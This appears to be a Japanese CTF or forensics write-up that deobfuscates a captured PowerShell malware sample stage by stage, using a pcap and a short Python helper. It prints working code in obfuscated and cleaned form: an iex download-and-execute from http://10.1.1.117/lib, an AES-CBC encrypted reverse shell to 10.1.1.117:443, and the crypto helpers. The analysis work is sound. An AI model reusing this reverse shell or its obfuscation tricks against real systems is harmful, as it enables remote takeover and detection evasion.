.("{0}{2}{1}" -f'sEt-','tEm','I') ("{2}{0}{3}{1}"-f 'riabLE','o2','VA',':Fy') ( [TYPe]("{0}{1}{2}{3}"-F'T','E','xt.E','nCoding')  )  ;
.("{1}{0}"-f'Ex','i')(.("{3}{2}{1}{0}" -f'ect','j','b','New-O') ("{2}{0}{1}"-f'Web','Client','Net.')).("{0}{1}{3}{2}{4}"-f 'downl','o','d','a','String').Invoke(("{4}{1}{5}{0}{3}{2}" -f '.','ttp://1','ib','1.1.117/l','h','0'));
${a} = &('SH') "a";
${C} = &("{1}{0}{2}" -f 'ew-Objec','N','t') ("{1}{0}{2}{7}{6}{3}{5}{4}" -f'Soc','System.Net.','ket','CPCli','t','en','.T','s')(("{0}{1}{2}"-f '1','0.1.1.11','7'),443);
${S} = ${C}.("{1}{0}"-f 'am','GetStre').Invoke();
[byte[]]${B} = 0..2048|&('%'){0};
while ((${i} = ${S}.("{1}{0}"-f 'd','Rea').Invoke(${B}, 0, ${b}."l`en`gTH")) -ne 0) {;
	${b2} = ${B}[0..(${i}-1)];
	${D} = .('D') ${a} ${B2};
	${d} = (.("{2}{1}{0}"-f 't','bjec','New-O') -TypeName ("{1}{0}{3}{4}{2}" -f 'stem.','Sy','Encoding','Text.A','SCII'))."GEt`Str`INg"(${d},0, ${D}."le`NG`Th");
	${sB} = (&("{1}{0}" -f 'eX','I') ${D} 2>&1 | .("{0}{1}{2}"-f'Out-','Str','ing') );
	${S`B} = ${s`B} + 'PS ' + (.("{0}{1}"-f 'pw','d'))."pA`TH" + '> ';
	${S`BY} = (  (&("{3}{1}{2}{0}"-f 'eM','Hildi','T','GeT-c') ("{3}{2}{1}{0}"-f':Fyo2','bLe','RIA','va')  )."VAl`UE"::"aS`CiI").("{1}{2}{0}" -f'ytes','Get','B').Invoke(${sb});
	${S`BY} = &('E') ${a} ${S`By};
	${S}.("{0}{1}"-f'Wr','ite').Invoke(${S`BY},0,${s`BY}."l`EngtH");
	${S}.("{1}{0}" -f'sh','Flu').Invoke();
	${b} = 0..2048|.('%'){0};
};
${S}.("{1}{0}"-f 'ose','Cl').Invoke();
${c}.("{1}{0}"-f'ose','Cl').Invoke();

各文字列を元に戻していく.
こんな感じでそのまま PowerShell に渡せば勝手にやってくれる.
power_shell_string.png


. "sEt-ItEm" ("VAriabLE:Fyo2") ([type]("TExt.EnCoding"));
. "iEx"(."New-Object" "Net.WebClient")."downloadString".Invoke("http://10.1.1.117/lib");
${a} = &('SH') "a";
${C} = &("New-Object") ("System.Net.Sockets.TCPClient") ("10.1.1.117", 443)
${S} = ${C}.("GetStream").Invoke();
[byte[]]${B} = 0..2048|&('%'){0};
while ((${i} = ${S}.("Read").Invoke(${B}, 0, "lengTH")) -ne 0) {
	${b2} = ${B}[0..(${i}-1)];
	${D} = .('D') ${a} ${B2};
	${d} = (.("New-Object") -TypeName ("System.Text.ASCIIEncoding"))."GEtStrINg"(${d}, 0, ${D}."leNGTh");
	${sB} = (&("Iex") ${D} 2>&1 | .("Out-String"));
	${sB} = ${sB} + 'PS ' + (.("pwd"))."pATH" + '> '
	${S`BY} = ((&("GeT-cHildiTeM") ("vaRIAbLe:Fyo2"))."VAlUE"::"aSCiI").("GetBytes").Invoke(${sB});
	${S`BY} = &('E') ${a} ${S`By};
	${S}.("Write").Invoke(${S`BY}, 0, ${s`BY}."lEngtH");
	${S}.("Flush").Invoke();
	${b} = 0..2048|.('%'){0};
};
${S}.("Close").Invoke();
${c}.("Close").Invoke();

これでここまでの難読化は解除できたけど,二行目で http://10.1.1.117/lib から得た文字列を実行していて,三行目では SH という知らない関数が実行されているので,Wireshark で traffic.pcap を見ると,先頭のストリームに同じように難読化されたコードがある.

$rt8Z2Q= [char[ ] ] " ) )43]rAhc[,)77]rAhc[+201]rAhc[+17]rAhc[( ecaLpERc-63]rAhc[,)05]rAhc[+221]rAhc[+601]rAhc[( ECaLpER-93]rAhc[,'TRB'ECaLpER-  69]rAhc[,'spo'ECaLpER-  )'} ;}SEtYbDeTspopspoYrcspoe'+'D{2zj nruter ;)'+'(ekovnI.)TRBesTRB,TRBopsiDTRB f- MfG}1{}'+'0{MfG(.}deGsp'+'oANAspoMsEA{2zj ;)61 - M'+'fGHTGspoNeLMfG.}AtAspod{2z'+'j ,61 ,}'+'AtAspoD{2zj(ekovnI.)TRBkcolBlani'+'FmrTRB,TRBsnaTRB,TR'+'BofTRB,'+'TRBrTTRBf- MfG}3{}1{}2{}0{MfG(.}roTPYRspoCspoED{2zj = }SEtyspobDetpYspoRCspoeD{2zj ;)'+'(ekovnI.)TRBCTR'+'B,TRBpyTRB,TRBrceDetaerTRB,TRBrotTRBf-MfG}0{}2{}1{}3{MfG(.}DeGspoanaMspoSspoea{2zj = }Ro'+'TpspoYRspoCespoD{2zj ;]51..0[}aTAspoD{2z'+'j = MfGVspoIMfG.'+'}dEG'+'spoANspoAmSE'+'a{2zj ;}YespoK{2zj = MfGyespoKMfG.}DespogANspoAmsposEa{2zj ;MfGcBspocMfG::zT81p2zj   = MfGedspoomMfG.}DEganAspomspoSeA{2zj ;)TRBhpargotpyrTRB,TRB.TRB,TRBCTRB,TRBdeganaMTRB,TRBseA'+'.yTRB,TRB.'+'metTRB,TRBytiruceSTRB,TRBSTRB,TRBsyTRBf-MfG}5{}4{}8{}6{}7{}2{}3{}0'+'{}1{MfG( )TRBNTRB,TRBejbO-weTRB,TRB'+'t'+'cTRB f-MfG}0{'+'}1{}2{M'+'fG(. = }despo'+'gspoAnaMSEspoa{2zj ;{ )}at'+'Aspod{2zj ,}yespoK{2zj(D noitcnuf'+' ;};}SeTYBdspoeTPY'+'sporCNE{2zj nruter ;)(ekovnI.)TRBopsiTRB,TRBesTRB,'+'TRBDTRBf-MfG}1{}2{}0{MfG(.}DeGAsponAspoMSea{2zj ;}sEspoTyspobdEspoTPYsporcNe{2zj + MfGVspoIMfG.}DEgANamsposspoEspoa{2zj = }SespoTspoYbdspoeTspoPYRcNE{2zj ;)MfGHTsp'+'ognelMfG.}AtAspod{2zj ,0 ,}ATAsp'+'od{2zj(ek'+'ovn'+'I.)TRBlaniFmrofsTRB,TRBnTRB,TRBkcolBTRB,TRBa'+'rTTRBf-MfG}1{}3{}2{}0{MfG(.}roTspoPspoyrcNe{2zj = }sespotybdETpyRcNspoE{2zj ;)(ekovnI.)TRBroTRB,TRBaerTRB,TRBCTRB,TRBpyrcnEetTRB,TRBtTRB f- MfG}4{}0{}1{}3{}2{M'+'fG(.}DeGAs'+'poNspoaMsEspoA{2zj = }rOTspopyspoRcNE'+'{2zj ;}YEspoK{2zj = MfGyEspoKMfG.}DeGAs'+'poNspoamsposeA{2zj'+' ;Mf'+'GcBspoCMfG'+'::ZT81P2zj  = MfGEdOspomMfG.}DeGANamsposspoea{2zj ;'+' ;)TRBA.'+'yh'+'pTRB,TRBaMsTRB,TRBgoTRB'+',TRBarTRB,TRBeTRB,TRBanTRB,TRBdegTRB,TRBruceS.metsySTRB,TRB'+'tpyrC.ytiTR'+'Bf-'+' MfG}2{}3{}7{}4'+'{}8{}5{'+'}6{}0{}1{MfG( )TRBtcejb'+'O-TRB,TRBeNTRB,TRBwTRB f-MfG}2{}0{}1{MfG(. = }DeGa'+'NspoAspomsespoA{2zj ;{ )}ATspoaD{2zj ,}Y'+'espok{2zj(E noitcnuf ;'+'} ;}h{2zj nrute'+'r'+';)(ekovnI.)TRBDTRB,TRBiTRB,TRBesopsTRBf-MfG}0{}1{}2{MfG(.}dEgspoAspoNspoAmaHS{2zj ;))}s{2zj(e'+'kovnI.)TRBetyBteGTRB,TR'+'BsTRB f-MfG}0{}1{MfG(.MfG8FspotuMfG::eULav.) RxT5i9:ElbAIrAV  mEtI  ( (MfGhSahespoTspoupMOspoCMfG.}dEspoganamspoAhs{2zj = }H{2zj;)TRBcTR'+'B,TRB'+'HS.yTRB,TRBmetsySTRB,TRBeS.T'+'RB,TRBrTR'+'B,TRB652ATRB,TR'+'BhpargotpyrC.ytTRB,TRBiTRB,TRBdeganaMTRB,TRBuTRB f-'+' MfG}1{}4{}'+'8{}3{}2{}5{}0{}9{}6{}7{MfG( )TRBNTRB,TRBcejbO-'+'weTRB,'+'TRBtTRBf- MfG}0{}1{}2{MfG(. = }deGaNspo'+'aMspoahs{2zj ;{)}s{2zj(Hspos noitcnuf  ;  ))TRBoMTRB,TRBSTR'+'B,TRBhTRB,TRBysTR'+'B,TRBhpTRB,TRBrc.YtIRUceS.meTTRB,TRBEDTRB,TR'+'BpyTRB,TRBreTRB,TRBPi'+'TRB,TRBc.yTRB,TRBar'+'gotTRB f-MfG}5{}11{}3{}9{}2{}1{}7{}0{}4{}6{}01{}8{MfG'+'(]EPyt[( zt81p:ELbaIRAV  MEtI-tEs ;  '+')TRBST'+'RB,TRBE.txEtTRB,TRB.TRB,TRBs'+'yTRB,TRBidoC'+'NTRB,TRBgNTRB,TRBmETTRBF- MfG}1{}2{}5{}4{}0{}3{}6{MfG(]epyt[ =rxt5I92zj  '(( ()'X'+]31[DILleHs$+]1[DIlLEhS$ (& "; [arrAY]::REVErSE( $rT8z2q ) ; $rT8z2q-JoiN ''| . ( $PSHoME[4]+$pSHOMe[34]+'X')
通信パケットから得られたスクリプトの難読化解除

" の外にある ; で改行.

$rt8Z2Q= [char[ ] ] " ) )43]rAhc[,)77]rAhc[+201]rAhc[+17]rAhc[( ecaLpERc-63]rAhc[,)05]rAhc[+221]rAhc[+601]rAhc[( ECaLpER-93]rAhc[,'TRB'ECaLpER-  69]rAhc[,'spo'ECaLpER-  )'} ;}SEtYbDeTspopspoYrcspoe'+'D{2zj nruter ;)'+'(ekovnI.)TRBesTRB,TRBopsiDTRB f- MfG}1{}'+'0{MfG(.}deGsp'+'oANAspoMsEA{2zj ;)61 - M'+'fGHTGspoNeLMfG.}AtAspod{2z'+'j ,61 ,}'+'AtAspoD{2zj(ekovnI.)TRBkcolBlani'+'FmrTRB,TRBsnaTRB,TR'+'BofTRB,'+'TRBrTTRBf- MfG}3{}1{}2{}0{MfG(.}roTPYRspoCspoED{2zj = }SEtyspobDetpYspoRCspoeD{2zj ;)'+'(ekovnI.)TRBCTR'+'B,TRBpyTRB,TRBrceDetaerTRB,TRBrotTRBf-MfG}0{}2{}1{}3{MfG(.}DeGspoanaMspoSspoea{2zj = }Ro'+'TpspoYRspoCespoD{2zj ;]51..0[}aTAspoD{2z'+'j = MfGVspoIMfG.'+'}dEG'+'spoANspoAmSE'+'a{2zj ;}YespoK{2zj = MfGyespoKMfG.}DespogANspoAmsposEa{2zj ;MfGcBspocMfG::zT81p2zj   = MfGedspoomMfG.}DEganAspomspoSeA{2zj ;)TRBhpargotpyrTRB,TRB.TRB,TRBCTRB,TRBdeganaMTRB,TRBseA'+'.yTRB,TRB.'+'metTRB,TRBytiruceSTRB,TRBSTRB,TRBsyTRBf-MfG}5{}4{}8{}6{}7{}2{}3{}0'+'{}1{MfG( )TRBNTRB,TRBejbO-weTRB,TRB'+'t'+'cTRB f-MfG}0{'+'}1{}2{M'+'fG(. = }despo'+'gspoAnaMSEspoa{2zj ;{ )}at'+'Aspod{2zj ,}yespoK{2zj(D noitcnuf'+' ;};}SeTYBdspoeTPY'+'sporCNE{2zj nruter ;)(ekovnI.)TRBopsiTRB,TRBesTRB,'+'TRBDTRBf-MfG}1{}2{}0{MfG(.}DeGAsponAspoMSea{2zj ;}sEspoTyspobdEspoTPYsporcNe{2zj + MfGVspoIMfG.}DEgANamsposspoEspoa{2zj = }SespoTspoYbdspoeTspoPYRcNE{2zj ;)MfGHTsp'+'ognelMfG.}AtAspod{2zj ,0 ,}ATAsp'+'od{2zj(ek'+'ovn'+'I.)TRBlaniFmrofsTRB,TRBnTRB,TRBkcolBTRB,TRBa'+'rTTRBf-MfG}1{}3{}2{}0{MfG(.}roTspoPspoyrcNe{2zj = }sespotybdETpyRcNspoE{2zj ;)(ekovnI.)TRBroTRB,TRBaerTRB,TRBCTRB,TRBpyrcnEetTRB,TRBtTRB f- MfG}4{}0{}1{}3{}2{M'+'fG(.}DeGAs'+'poNspoaMsEspoA{2zj = }rOTspopyspoRcNE'+'{2zj ;}YEspoK{2zj = MfGyEspoKMfG.}DeGAs'+'poNspoamsposeA{2zj'+' ;Mf'+'GcBspoCMfG'+'::ZT81P2zj  = MfGEdOspomMfG.}DeGANamsposspoea{2zj ;'+' ;)TRBA.'+'yh'+'pTRB,TRBaMsTRB,TRBgoTRB'+',TRBarTRB,TRBeTRB,TRBanTRB,TRBdegTRB,TRBruceS.metsySTRB,TRB'+'tpyrC.ytiTR'+'Bf-'+' MfG}2{}3{}7{}4'+'{}8{}5{'+'}6{}0{}1{MfG( )TRBtcejb'+'O-TRB,TRBeNTRB,TRBwTRB f-MfG}2{}0{}1{MfG(. = }DeGa'+'NspoAspomsespoA{2zj ;{ )}ATspoaD{2zj ,}Y'+'espok{2zj(E noitcnuf ;'+'} ;}h{2zj nrute'+'r'+';)(ekovnI.)TRBDTRB,TRBiTRB,TRBesopsTRBf-MfG}0{}1{}2{MfG(.}dEgspoAspoNspoAmaHS{2zj ;))}s{2zj(e'+'kovnI.)TRBetyBteGTRB,TR'+'BsTRB f-MfG}0{}1{MfG(.MfG8FspotuMfG::eULav.) RxT5i9:ElbAIrAV  mEtI  ( (MfGhSahespoTspoupMOspoCMfG.}dEspoganamspoAhs{2zj = }H{2zj;)TRBcTR'+'B,TRB'+'HS.yTRB,TRBmetsySTRB,TRBeS.T'+'RB,TRBrTR'+'B,TRB652ATRB,TR'+'BhpargotpyrC.ytTRB,TRBiTRB,TRBdeganaMTRB,TRBuTRB f-'+' MfG}1{}4{}'+'8{}3{}2{}5{}0{}9{}6{}7{MfG( )TRBNTRB,TRBcejbO-'+'weTRB,'+'TRBtTRBf- MfG}0{}1{}2{MfG(. = }deGaNspo'+'aMspoahs{2zj ;{)}s{2zj(Hspos noitcnuf  ;  ))TRBoMTRB,TRBSTR'+'B,TRBhTRB,TRBysTR'+'B,TRBhpTRB,TRBrc.YtIRUceS.meTTRB,TRBEDTRB,TR'+'BpyTRB,TRBreTRB,TRBPi'+'TRB,TRBc.yTRB,TRBar'+'gotTRB f-MfG}5{}11{}3{}9{}2{}1{}7{}0{}4{}6{}01{}8{MfG'+'(]EPyt[( zt81p:ELbaIRAV  MEtI-tEs ;  '+')TRBST'+'RB,TRBE.txEtTRB,TRB.TRB,TRBs'+'yTRB,TRBidoC'+'NTRB,TRBgNTRB,TRBmETTRBF- MfG}1{}2{}5{}4{}0{}3{}6{MfG(]epyt[ =rxt5I92zj  '(( ()'X'+]31[DILleHs$+]1[DIlLEhS$ (& ";
[arrAY]::REVErSE( $rT8z2q ) ;
$rT8z2q-JoiN ''| . ( $PSHoME[4]+$pSHOMe[34]+'X')

二行目で一行目の文字列を反転して,三行目では | の後ろが iex になっているので,反転した文字列が実行される.

文字列を反転させて,実行される部分を抜き出す.

&( $ShELlID[1]+$sHelLID[13]+'X')( (('  jz29I5txr= [type](GfM{6}{3}{0}{4}{5}{2}{1}GfM -FBRTTEmBRT,BRTNgBRT,BRTN'+'CodiBRT,BRTy'+'sBRT,BRT.BRT,BRTtExt.EBRT,BR'+'TSBRT)'+'  ; sEt-ItEM  VARIabLE:p18tz ([tyPE]('+'GfM{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}GfM-f BRTtog'+'raBRT,BRTy.cBRT,BRT'+'iPBRT,BRTerBRT,BRTypB'+'RT,BRTDEBRT,BRTTem.SecURItY.crBRT,BRTphBRT,B'+'RTsyBRT,BRThBRT,B'+'RTSBRT,BRTMoBRT))  ;  function sopsH(jz2{s}){; jz2{shaopsMa'+'opsNaGed} = .(GfM{2}{1}{0}GfM -fBRTtBRT'+',BRTew'+'-ObjecBRT,BRTNBRT) (GfM{7}{6}{9}{0}{5}{2}{3}{8'+'}{4}{1}GfM '+'-f BRTuBRT,BRTManagedBRT,BRTiBRT,BRTty.CryptographB'+'RT,BRTA256BRT,B'+'RTrBRT,BR'+'T.SeBRT,BRTSystemBRT,BRTy.SH'+'BRT,B'+'RTcBRT);jz2{H} = jz2{shAopsmanagopsEd}.GfMCopsOMpuopsTopsehaShGfM( (  ItEm  VArIAblE:9i5TxR ).vaLUe::GfMutopsF8GfM.(GfM{1}{0}GfM-f BRTsB'+'RT,BRTGetByteBRT).Invok'+'e(jz2{s})); jz2{SHamAopsNopsAopsgEd}.(GfM{2}{1}{0}GfM-fBRTsposeBRT,BRTiBRT,BRTDBRT).Invoke();'+'r'+'eturn jz2{h}; }'+'; function E(jz2{kopse'+'Y}, jz2{DaopsTA}) {; jz2{AopsesmopsAopsN'+'aGeD} = .(GfM{1}{0}{2}GfM-f BRTwBRT,BRTNeBRT,BRT-O'+'bjectBRT) (GfM{1}{0}{6}'+'{5}{8}{'+'4}{7}{3}{2}GfM '+'-fB'+'RTity.Crypt'+'BRT,BRTSystem.SecurBRT,BRTgedBRT,BRTnaBRT,BRTeBRT,BRTraBRT,'+'BRTogBRT,BRTsMaBRT,BRTp'+'hy'+'.ABRT); '+'; jz2{aeopssopsmaNAGeD}.GfMmopsOdEGfM =  jz2P18TZ::'+'GfMCopsBcG'+'fM; '+'jz2{AesopsmaopsNop'+'sAGeD}.GfMKopsEyGfM = jz2{KopsEY}; jz2{'+'ENcRopsypopsTOr} = jz2{AopsEsMaopsNop'+'sAGeD}.(Gf'+'M{2}{3}{1}{0}{4}GfM -f BRTtBRT,BRTteEncrypBRT,BRTCBRT,BRTreaBRT,BRTorBRT).Invoke(); jz2{EopsNcRypTEdbytopses} = jz2{eNcryopsPopsTor}.(GfM{0}{2}{3}{1}GfM-fBRTTr'+'aBRT,BRTBlockBRT,BRTnBRT,BRTsformFinalBRT).I'+'nvo'+'ke(jz2{do'+'psATA}, 0, jz2{dopsAtA}.GfMlengo'+'psTHGfM); jz2{ENcRYPopsTeopsdbYopsTopseS} = jz2{aopsEopssopsmaNAgED}.GfMIopsVGfM + jz2{eNcropsYPTopsEdbopsyTopsEs}; jz2{aeSMopsAnopsAGeD}.(GfM{0}{2}{1}GfM-fBRTDBRT'+',BRTseBRT,BRTispoBRT).Invoke(); return jz2{ENCrops'+'YPTeopsdBYTeS};}; '+'function D(jz2{Kopsey}, jz2{dopsA'+'ta}) {; jz2{aopsESManAopsg'+'opsed} = .(Gf'+'M{2}{1}'+'{0}GfM-f BRTc'+'t'+'BRT,BRTew-ObjeBRT,BRTNBRT) (GfM{1}{'+'0}{3}{2}{7}{6}{8}{4}{5}GfM-fBRTysBRT,BRTSBRT,BRTSecurityBRT,BRTtem'+'.BRT,BRTy.'+'AesBRT,BRTManagedBRT,BRTCBRT,BRT.BRT,BRTryptographBRT); jz2{AeSopsmopsAnagED}.GfMmoopsdeGfM =   jz2p18Tz::GfMcopsBcGfM; jz2{aEsopsmAopsNAgopseD}.GfMKopseyGfM = jz2{KopseY}; jz2{a'+'ESmAopsNAops'+'GEd}'+'.GfMIopsVGfM = j'+'z2{DopsATa}[0..15]; jz2{DopseCopsRYopspT'+'oR} = jz2{aeopsSopsManaopsGeD}.(GfM{3}{1}{2}{0}GfM-fBRTtorBRT,BRTreateDecrBRT,BRTypBRT,B'+'RTCBRT).Invoke('+'); jz2{DeopsCRopsYpteDbopsytES} = jz2{DEopsCopsRYPTor}.(GfM{0}{2}{1}{3}GfM -fBRTTrBRT'+',BRTfoB'+'RT,BRTansBRT,BRTrmF'+'inalBlockBRT).Invoke(jz2{DopsAtA'+'}, 16, j'+'z2{dopsAtA}.GfMLeNopsGTHGf'+'M - 16); jz2{AEsMopsANAo'+'psGed}.(GfM{0'+'}{1}GfM -f BRTDispoBRT,BRTseBRT).Invoke('+'); return jz2{D'+'eopscrYopspopsTeDbYtES}; }')  -REpLaCE'ops',[chAr]96  -REpLaCE'BRT',[chAr]39-REpLaCE ([chAr]106+[chAr]122+[chAr]50),[chAr]36-cREpLace ([chAr]71+[chAr]102+[chAr]77),[chAr]34) )

$ShELlID[1]+$sHelLID[13]+'X'iex で,最後まで文字列なので抜き出して,文字列の連結 '+' を削除する.

('  jz29I5txr= [type](GfM{6}{3}{0}{4}{5}{2}{1}GfM -FBRTTEmBRT,BRTNgBRT,BRTNCodiBRT,BRTysBRT,BRT.BRT,BRTtExt.EBRT,BRTSBRT)  ; sEt-ItEM  VARIabLE:p18tz ([tyPE](GfM{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}GfM-f BRTtograBRT,BRTy.cBRT,BRTiPBRT,BRTerBRT,BRTypBRT,BRTDEBRT,BRTTem.SecURItY.crBRT,BRTphBRT,BRTsyBRT,BRThBRT,BRTSBRT,BRTMoBRT))  ;  function sopsH(jz2{s}){; jz2{shaopsMaopsNaGed} = .(GfM{2}{1}{0}GfM -fBRTtBRT,BRTew-ObjecBRT,BRTNBRT) (GfM{7}{6}{9}{0}{5}{2}{3}{8}{4}{1}GfM -f BRTuBRT,BRTManagedBRT,BRTiBRT,BRTty.CryptographBRT,BRTA256BRT,BRTrBRT,BRT.SeBRT,BRTSystemBRT,BRTy.SHBRT,BRTcBRT);jz2{H} = jz2{shAopsmanagopsEd}.GfMCopsOMpuopsTopsehaShGfM( (  ItEm  VArIAblE:9i5TxR ).vaLUe::GfMutopsF8GfM.(GfM{1}{0}GfM-f BRTsBRT,BRTGetByteBRT).Invoke(jz2{s})); jz2{SHamAopsNopsAopsgEd}.(GfM{2}{1}{0}GfM-fBRTsposeBRT,BRTiBRT,BRTDBRT).Invoke();return jz2{h}; }; function E(jz2{kopseY}, jz2{DaopsTA}) {; jz2{AopsesmopsAopsNaGeD} = .(GfM{1}{0}{2}GfM-f BRTwBRT,BRTNeBRT,BRT-ObjectBRT) (GfM{1}{0}{6}{5}{8}{4}{7}{3}{2}GfM -fBRTity.CryptBRT,BRTSystem.SecurBRT,BRTgedBRT,BRTnaBRT,BRTeBRT,BRTraBRT,BRTogBRT,BRTsMaBRT,BRTphy.ABRT); ; jz2{aeopssopsmaNAGeD}.GfMmopsOdEGfM =  jz2P18TZ::GfMCopsBcGfM; jz2{AesopsmaopsNopsAGeD}.GfMKopsEyGfM = jz2{KopsEY}; jz2{ENcRopsypopsTOr} = jz2{AopsEsMaopsNopsAGeD}.(GfM{2}{3}{1}{0}{4}GfM -f BRTtBRT,BRTteEncrypBRT,BRTCBRT,BRTreaBRT,BRTorBRT).Invoke(); jz2{EopsNcRypTEdbytopses} = jz2{eNcryopsPopsTor}.(GfM{0}{2}{3}{1}GfM-fBRTTraBRT,BRTBlockBRT,BRTnBRT,BRTsformFinalBRT).Invoke(jz2{dopsATA}, 0, jz2{dopsAtA}.GfMlengopsTHGfM); jz2{ENcRYPopsTeopsdbYopsTopseS} = jz2{aopsEopssopsmaNAgED}.GfMIopsVGfM + jz2{eNcropsYPTopsEdbopsyTopsEs}; jz2{aeSMopsAnopsAGeD}.(GfM{0}{2}{1}GfM-fBRTDBRT,BRTseBRT,BRTispoBRT).Invoke(); return jz2{ENCropsYPTeopsdBYTeS};}; function D(jz2{Kopsey}, jz2{dopsAta}) {; jz2{aopsESManAopsgopsed} = .(GfM{2}{1}{0}GfM-f BRTctBRT,BRTew-ObjeBRT,BRTNBRT) (GfM{1}{0}{3}{2}{7}{6}{8}{4}{5}GfM-fBRTysBRT,BRTSBRT,BRTSecurityBRT,BRTtem.BRT,BRTy.AesBRT,BRTManagedBRT,BRTCBRT,BRT.BRT,BRTryptographBRT); jz2{AeSopsmopsAnagED}.GfMmoopsdeGfM =   jz2p18Tz::GfMcopsBcGfM; jz2{aEsopsmAopsNAgopseD}.GfMKopseyGfM = jz2{KopseY}; jz2{aESmAopsNAopsGEd}.GfMIopsVGfM = jz2{DopsATa}[0..15]; jz2{DopseCopsRYopspToR} = jz2{aeopsSopsManaopsGeD}.(GfM{3}{1}{2}{0}GfM-fBRTtorBRT,BRTreateDecrBRT,BRTypBRT,BRTCBRT).Invoke(); jz2{DeopsCRopsYpteDbopsytES} = jz2{DEopsCopsRYPTor}.(GfM{0}{2}{1}{3}GfM -fBRTTrBRT,BRTfoBRT,BRTansBRT,BRTrmFinalBlockBRT).Invoke(jz2{DopsAtA}, 16, jz2{dopsAtA}.GfMLeNopsGTHGfM - 16); jz2{AEsMopsANAopsGed}.(GfM{0}{1}GfM -f BRTDispoBRT,BRTseBRT).Invoke(); return jz2{DeopscrYopspopsTeDbYtES}; }')  -REpLaCE'ops',[chAr]96  -REpLaCE'BRT',[chAr]39-REpLaCE ([chAr]106+[chAr]122+[chAr]50),[chAr]36-cREpLace ([chAr]71+[chAr]102+[chAr]77),[chAr]34

最後の方に -replace-creplace があるので置換 (-replace は大文字小文字を区別しない) して ; で改行して整形する.

import re

s = obfuscated_strings

r = re.compile(r'ops', re.IGNORECASE)
s1 = re.sub(r, chr(96), s)

r = re.compile(r'BRT', re.IGNORECASE)
s2 = re.sub(r, chr(39), s1)

r = re.compile(r'jz2', re.IGNORECASE)
s3 = re.sub(r, chr(36), s2)

s4 = s3.replace('GfM', '"')

print(s4)
$9I5txr= [type]("{6}{3}{0}{4}{5}{2}{1}" -F'TEm','Ng','NCodi','ys','.','tExt.E','S')  ;
sEt-ItEM  VARIabLE:p18tz ([tyPE]("{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}"-f 'togra','y.c','iP','er','yp','DE','Tem.SecURItY.cr','ph','sy','h','S','Mo'))  ;
function s`H(${s}){;
${sha`Ma`NaGed} = .("{2}{1}{0}" -f't','ew-Objec','N') ("{7}{6}{9}{0}{5}{2}{3}{8}{4}{1}" -f 'u','Managed','i','ty.Cryptograph','A256','r','.Se','System','y.SH','c');
${H} = ${shA`manag`Ed}."C`OMpu`T`ehaSh"( (  ItEm  VArIAblE:9i5TxR ).vaLUe::"ut`F8".("{1}{0}"-f 's','GetByte').Invoke(${s}));
${SHamA`N`A`gEd}.("{2}{1}{0}"-f'spose','i','D').Invoke();
return ${h};
};
function E(${k`eY}, ${Da`TA}) {;
${A`esm`A`NaGeD} = .("{1}{0}{2}"-f 'w','Ne','-Object') ("{1}{0}{6}{5}{8}{4}{7}{3}{2}" -f'ity.Crypt','System.Secur','ged','na','e','ra','og','sMa','phy.A');
;
${ae`s`maNAGeD}."m`OdE" =  $P18TZ::"C`Bc";
${Aes`ma`N`AGeD}."K`Ey" = ${K`EY};
${ENcR`yp`TOr} = ${A`EsMa`N`AGeD}.("{2}{3}{1}{0}{4}" -f 't','teEncryp','C','rea','or').Invoke();
${E`NcRypTEdbyt`es} = ${eNcry`P`Tor}.("{0}{2}{3}{1}"-f'Tra','Block','n','sformFinal').Invoke(${d`ATA}, 0, ${d`AtA}."leng`TH");
${ENcRYP`Te`dbY`T`eS} = ${a`E`s`maNAgED}."I`V" + ${eNcr`YPT`Edb`yT`Es};
${aeSM`An`AGeD}.("{0}{2}{1}"-f'D','se','ispo').Invoke();
return ${ENCr`YPTe`dBYTeS};
};
function D(${K`ey}, ${d`Ata}) {;
${a`ESManA`g`ed} = .("{2}{1}{0}"-f 'ct','ew-Obje','N') ("{1}{0}{3}{2}{7}{6}{8}{4}{5}"-f'ys','S','Security','tem.','y.Aes','Managed','C','.','ryptograph');
${AeS`m`AnagED}."mo`de" =   $p18Tz::"c`Bc";
${aEs`mA`NAg`eD}."K`ey" = ${K`eY};
${aESmA`NA`GEd}."I`V" = ${D`ATa}[0..15];
${D`eC`RY`pToR} = ${ae`S`Mana`GeD}.("{3}{1}{2}{0}"-f'tor','reateDecr','yp','C').Invoke();
${De`CR`YpteDb`ytES} = ${DE`C`RYPTor}.("{0}{2}{1}{3}" -f'Tr','fo','ans','rmFinalBlock').Invoke(${D`AtA}, 16, ${d`AtA}."LeN`GTH" - 16);
${AEsM`ANA`Ged}.("{0}{1}" -f 'Dispo','se').Invoke();
return ${De`crY`p`TeDbYtES};
}

文字列を戻して整形する.


$9I5txr = [type]("SysTEm.tExt.ENCodiNg");
sEt-ItEM  VARIabLE:p18tz ([tyPE]("sySTem.SecURItY.cryptography.ciPherMoDE"));
function s`H(${s}){;
	${sha`Ma`NaGed} = .("New-Object") ("System.Security.Cryptography.SHA256Managed");
	${H} = ${shA`manag`Ed}."COMpuTehaSh"((ItEm VArIAblE:9i5TxR).vaLUe::"utF8".("GetBytes").Invoke(${s}));
	${SHamA`N`A`gEd}.("Dispose").Invoke();
	return ${h};
};

function E(${k`eY}, ${Da`TA}) {;
	${A`esm`A`NaGeD} = .("New-Object") ("System.Security.Cryptography.AesManaged");
	${ae`s`maNAGeD}."m`OdE" =  $P18TZ::"CBc";
	${Aes`ma`N`AGeD}."K`Ey" = ${K`EY};
	${ENcR`yp`TOr} = ${A`EsMa`N`AGeD}.("CreateEncryptor").Invoke();
	${E`NcRypTEdbyt`es} = ${eNcry`P`Tor}.("TransformFinalBlock").Invoke(${d`ATA}, 0, ${d`AtA}."lengTH");
	${ENcRYP`Te`dbY`T`eS} = ${a`E`s`maNAgED}."IV" + ${eNcr`YPT`Edb`yT`Es};
	${aeSM`An`AGeD}.("Dispose").Invoke();
	return ${ENCr`YPTe`dBYTeS};
};

function D(${K`ey}, ${d`Ata}) {;
	${a`ESManA`g`ed} = .("New-Object") ("System.Security.Cryptography.AesManaged");
	${AeS`m`AnagED}."mo`de" =   $p18Tz::"c`Bc";
	${aEs`mA`NAg`eD}."K`ey" = ${K`eY};
	${aESmA`NA`GEd}."I`V" = ${D`ATa}[0..15];
	${D`eC`RY`pToR} = ${ae`S`Mana`GeD}.("CreateDecryptor").Invoke();
	${De`CR`YpteDb`ytES} = ${DE`C`RYPTor}.("TransformFinalBlock").Invoke(${D`AtA}, 16, ${d`AtA}."LeNGTH" - 16);
	${AEsM`ANA`Ged}.("Dispose").Invoke();
